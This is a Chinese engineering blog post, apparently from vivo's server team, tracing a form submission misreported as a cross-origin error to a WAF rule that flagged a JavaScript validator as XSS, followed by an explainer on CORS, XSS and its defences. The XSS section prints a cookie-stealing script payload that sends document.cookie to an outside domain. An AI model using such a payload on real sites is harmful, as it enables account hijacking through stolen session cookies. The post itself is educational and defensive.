vivo 網際網路伺服器團隊- Wei Ling

本文主要講述的是如何根據公司網路架構和業務特點，鎖定正常請求被誤判為跨域的原因並解決。

一、問題描述

某一個業務後臺在表單提交的時候，報跨域錯誤，具體如下圖：

從圖中可看出，報錯原因為HTTP請求傳送失敗，由此，需先了解HTTP請求完整鏈路是什麼。

HTTP請求一般經過3個關卡，分別為DNS、Nginx、Web伺服器，具體流程如下圖：

• 瀏覽器傳送請求首先到達當地運營商DNS伺服器，經過域名解析獲取請求 IP 地址

• 瀏覽器獲取 IP 地址後，傳送HTTP請求到達Nginx，由Nginx反向代理到Web服務端

• 最後，由web服務端返回相應的資源

瞭解HTTP基本請求鏈路後，結合問題，進行初步調查，發現此form表單是application/json格式的post提交。同時，此業務系統採用了前後端分離的架構方式(頁面域名和後臺服務域名不同 ), 並且在Nginx已經配置跨域解決方案。基於此，我們進行分析。

二、問題排查步驟

第一步：自測定位

既然是form表單，我們採用控制變數法，嘗試對每一個欄位進行修改後提交測試。在多次試驗後，鎖定表單中的moduleExport 欄位的變化會導致這個問題。

考慮到moduleExport欄位在業務上是一段JS程式碼，我們嘗試對這段JS程式碼進行刪除/修改，發現：當欄位moduleExport中的這段js程式碼足夠小的時候，問題消失。

基於上述發現，我們第一個猜想是：會不會是HTTP響應方的請求body大小限制導致了這個問題。

第二步：排查 HTTP 請求 body 限制

由於採用前後端分離，真實的請求是由 XXX.XXX.XXX 這個內網域名代表的服務進行響應的。而內網域名的響應鏈如下：

那麼理論上，如果是HTTP請求body的限制，則可能發生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查：

首先排查LVS層。若LVS層故障，則會出現閘道器異常的問題，返回碼會為502。故此，通過抓包檢視返回碼，從下圖可看出，返回碼為418，故而排除LVS異常的可能

其次排查Nginx 層。Nginx層的HTTP配置如下:

我們看到，在Nginx層，最大支援的HTTP請求body為50m， 而我們這次事故的form請求表單，大約在2M， 遠小於限制， 所以：不是Nginx 層HTTP請求body的限制造成的。

然後排查 Tomcat 層，檢視 Tomcat 配置：

我們發現， Tomcat 對於最大post請求的size限制是-1， 語義上表示為無限制，所以： 不是 Tomcat 層HTTP請求body的限制造成的。

綜上，我們可以認為：此次問題和HTTP請求body的大小限制無關。

那麼問題來了，如果不是這兩層導致的，那麼還會有別的因素或者別的網路層導致的嗎？

第三步：集思廣益

我們把相關的運維方拉到了一個群裡面進行討論，討論分兩個階段

• 【第一階段】

運維方同學發現 Tomcat 是使用容器進行部署的，而容器和nginx層中間，存在一個容器自帶的nameserver層——ingress。我們檢視ingress的相關配置後，發現其對於HTTP請求body的大小限制為3072m。排除是ingress的原因。

• 【第二階段】

安全方同學表示，公司為了防止XSS攻擊，會對於所有後臺請求，都進行XSS攻擊的校驗，如果校驗不通過，會報跨域錯誤。

也就是說，理論上完整的網路層呼叫鏈如下圖：

並且從WAF的工作機制和問題表象上來看，很有可能是WAF層的原因。

第四步：WAF 排查

帶著上述的猜測，我們重新抓包，嘗試獲取整個HTTP請求的optrace路徑，看看是不是在WAF層被攔截了，抓包結果如下：

從抓包資料上來看，status為complete代表前端請求傳送成功，返回碼為418，而optrace中的ip地址經查詢為WAF伺服器ip地址。

綜上而言，form表單中的moduleExport欄位的變化很可能導致在WAF層被攔截。而出現問題的moduleExport欄位內容如下：

module.exports = {
    "labelWidth": 80,
    "schema": {
        "title": "XXX",
        "type": "array",
        "items":{
            "type":"object",
            "required":["key","value"],
            "properties":{
                "conf":{
                    "title":"XXX",
                    "type":"string"
                },
                "configs":{
                    "title":"XXX",
                    "type":"array",
                    "items":{
                        ......
                            config: {
                                ......
                                validator: function(value, callback) {
                                    // 至少填寫一項
                                    if(!value || !Object.keys(value).length) {
                                        return callback(new Error('至少填寫一項'))
                                    }
 
                                   callback()
                               }
                         }
              ......
      }

我們進行一個欄位一個欄位排查後，鎖定module.exports.items.properties.configs.config.validator欄位會觸發WAF的攔截機制：請求包過WAF模組時會對所有的攻擊規則都會進行匹配，若屬於高危風險規則，則觸發攔截動作。

三、 問題分析

整個故障的原因，是業務請求的內容觸發了WAF的XSS攻擊檢測。那麼問題來了

• 為什麼需要WAF

• 什麼是XSS攻擊

在說明XSS之前，先得說清楚瀏覽器的跨域保護機制

3.1 跨域保護機制

現代瀏覽器都具備‘同源策略’，所謂同源策略，是指只有在地址的：

1. 協議名 HTTPS，HTTP

2. 域名

3. 埠名

均一樣的情況下，才允許訪問相同的cookie、localStorage或是傳送Ajax請求等等。若在不同源的情況下訪問，就稱為跨域。而在日常開發中，存在合理的跨域需求，比如此次問題故障對應的系統，由於採用了前後端分離，導致頁面的域名和後臺的域名必然不相同。那麼如何合理跨域便成了問題。

常見的跨域解決方案有：IFRAME, JSONP, CORS 三種。

• IFRAME 是在頁面內部生成一個IFRAME，並在IFRAME內部動態編寫JS進行提交。用到此技術的有早期的EXT框架等等。

• JSONP 是將請求序列化成一個string，然後發起一個JS請求，帶上string。此做法需要後臺支援，並且只能使用GET請求。在當前的業內已經廢除此方案。

• CORS 協議的應用比較廣泛，並且此次出事故的系統是採用了CORS進行前後端分離。那麼，什麼是CORS協議呢？

3.2 CORS協議

CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標準(官方文件)，其核心思路是：在HTTP的請求頭中設定相應的欄位，瀏覽器在發現HTTP請求的相關欄位被設定後，則會正常發起請求，後臺則通過對這些欄位的校驗，決定此請求是否是合理的跨域請求。

CORS協議需要伺服器的支援(非伺服器的業務程序)， 比如 Tomcat 7及其以後的版本等等。

對於開發者來說，CORS通訊與同源的AJAX通訊沒有差別，程式碼完全一樣。瀏覽器一旦發現AJAX請求跨源，就會自動新增一些附加的頭資訊，有時還會多出一次附加的請求，但使用者不會有感覺。

因此，實現CORS通訊的關鍵是伺服器(伺服器端可判斷，讓哪些域可以請求)。只要伺服器實現了CORS協議，就可以跨源通訊。

雖然CORS解決了跨域問題，但引入了風險，如XSS攻擊，因此在到達伺服器之前需加一層Web應用防火牆(WAF)，它的作用是：過濾所有請求，當發現請求是跨域時，會對整個請求的報文進行規則匹配，如果發現規則不匹配，則直接報錯返回(類似於此次案例中的418)。

整體流程如下：

不合理的跨域請求，我們一般認為是侵略性請求，這一類的請求，我們視為XSS攻擊。那麼廣義而言的XSS攻擊又是什麼呢？

3.3 XSS 攻擊機制

XSS為跨站指令碼攻擊（Cross-Site Scripting）的縮寫，可以將程式碼注入到使用者瀏覽的網頁上，這種程式碼包括 HTML 和 JavaScript。

例如有一個論壇網站，攻擊者可以在上面釋出以下內容：

<script>location.href="//domain.com/?c=" + document.cookiescript>

之後該內容可能會被渲染成以下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一個使用者瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理使用者登入狀態，那麼攻擊者就可以通過這個 Cookie 登入被攻擊者的賬號了。

XSS通過偽造虛假的輸入表單騙取個人資訊、顯示偽造的文章或者圖片等方式可竊取使用者的 Cookie，盜用Cookie後就可冒充使用者訪問各種系統，危害極大。

下面給出2種XSS防禦機制。

3.4 XSS 防禦機制

XSS防禦機制主要包括以下兩點：

3.4.1 設定 Cookie 為 HTTPOnly

設定了 HTTPOnly 的 Cookie 可以防止 JavaScript 指令碼呼叫，就無法通過 document.cookie 獲取使用者 Cookie 資訊。

3.4.2 過濾特殊字元

例如將 < 轉義為 < ，將 > 轉義為 >，從而避免 HTML 和 Jascript 程式碼的執行。

富文字編輯器允許使用者輸入 HTML 程式碼，就不能簡單地將 < 等字元進行過濾了，極大地提高了 XSS 攻擊的可能性。

富文字編輯器通常採用 XSS filter 來防範 XSS 攻擊，通過定義一些標籤白名單或者黑名單，從而不允許有攻擊性的 HTML 程式碼的輸入。

以下例子中，form 和 script 等標籤都被轉義，而 h 和 p 等標籤將會保留。

<h1 id="title">XSS Demo</h1>
 
<p>123</p>
 
<form>
  <input type="text" name="q" value="test">
</form>
 
<pre>hello</pre>
 
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
 
<p>123</p>

轉義後：

<h1>XSS Demo</h1>
 
<p>123</p>
 
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;
 
<pre>hello</pre>
 
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

四、問題解決

在確定問題後，讓安全團隊修改WAF的攔截規則後，問題消失。

最後，對此問題進行總結。

五、問題總結

縱覽整個排查過程，最耗費資源的工作集中於問題定位：到底是哪個模組出現了問題。而定位模組的最大難點在於：對於網路全鏈路的不瞭解(之前並不知曉WAF層的存在)。

那麼，針對類似的問題，我們後面應該如何去加速問題的解決呢？我認為有兩點需要注意：

1. 採用控制變數法， 精準定位到問題的邊界——什麼時候能出現，什麼時候不能出現。

2. 熟悉每一個模組的存在，以及每一個模組的職責邊界和風險可能。

下面來逐個解釋：

5.1 確定問題邊界

我們在一開始，確定是form表單導致的問題後，我們就逐個欄位進行修改驗證，最終確定其中某個欄位導致的現象。在定位到具體的問題發生地後，由將之前鎖定的欄位進行拆解，逐步分析欄位中每個屬性，從而最終確定XX屬性的值觸犯了WAF的規則機制。

5.2 定位模組錯誤

在此案例中，跨域拒絕的故障主要是網路層，那麼我們就必須要摸清楚整個業務服務的網路層次結構。然後對每一層的情況進行分析。

• 在Nginx層，我們對配置檔案進行分析

• 在ingress層，我們對其中的配置規則進行分析

• 在Tomcat層，我們對server.xml的屬性進行分析

總結而言，我們必須熟悉每一個模組的職責，並且知曉如何判斷每一個模組是否在整個鏈路中正常工作，只有基於此，我們才能將問題原因的範圍逐步縮小，從而最後獲得答案。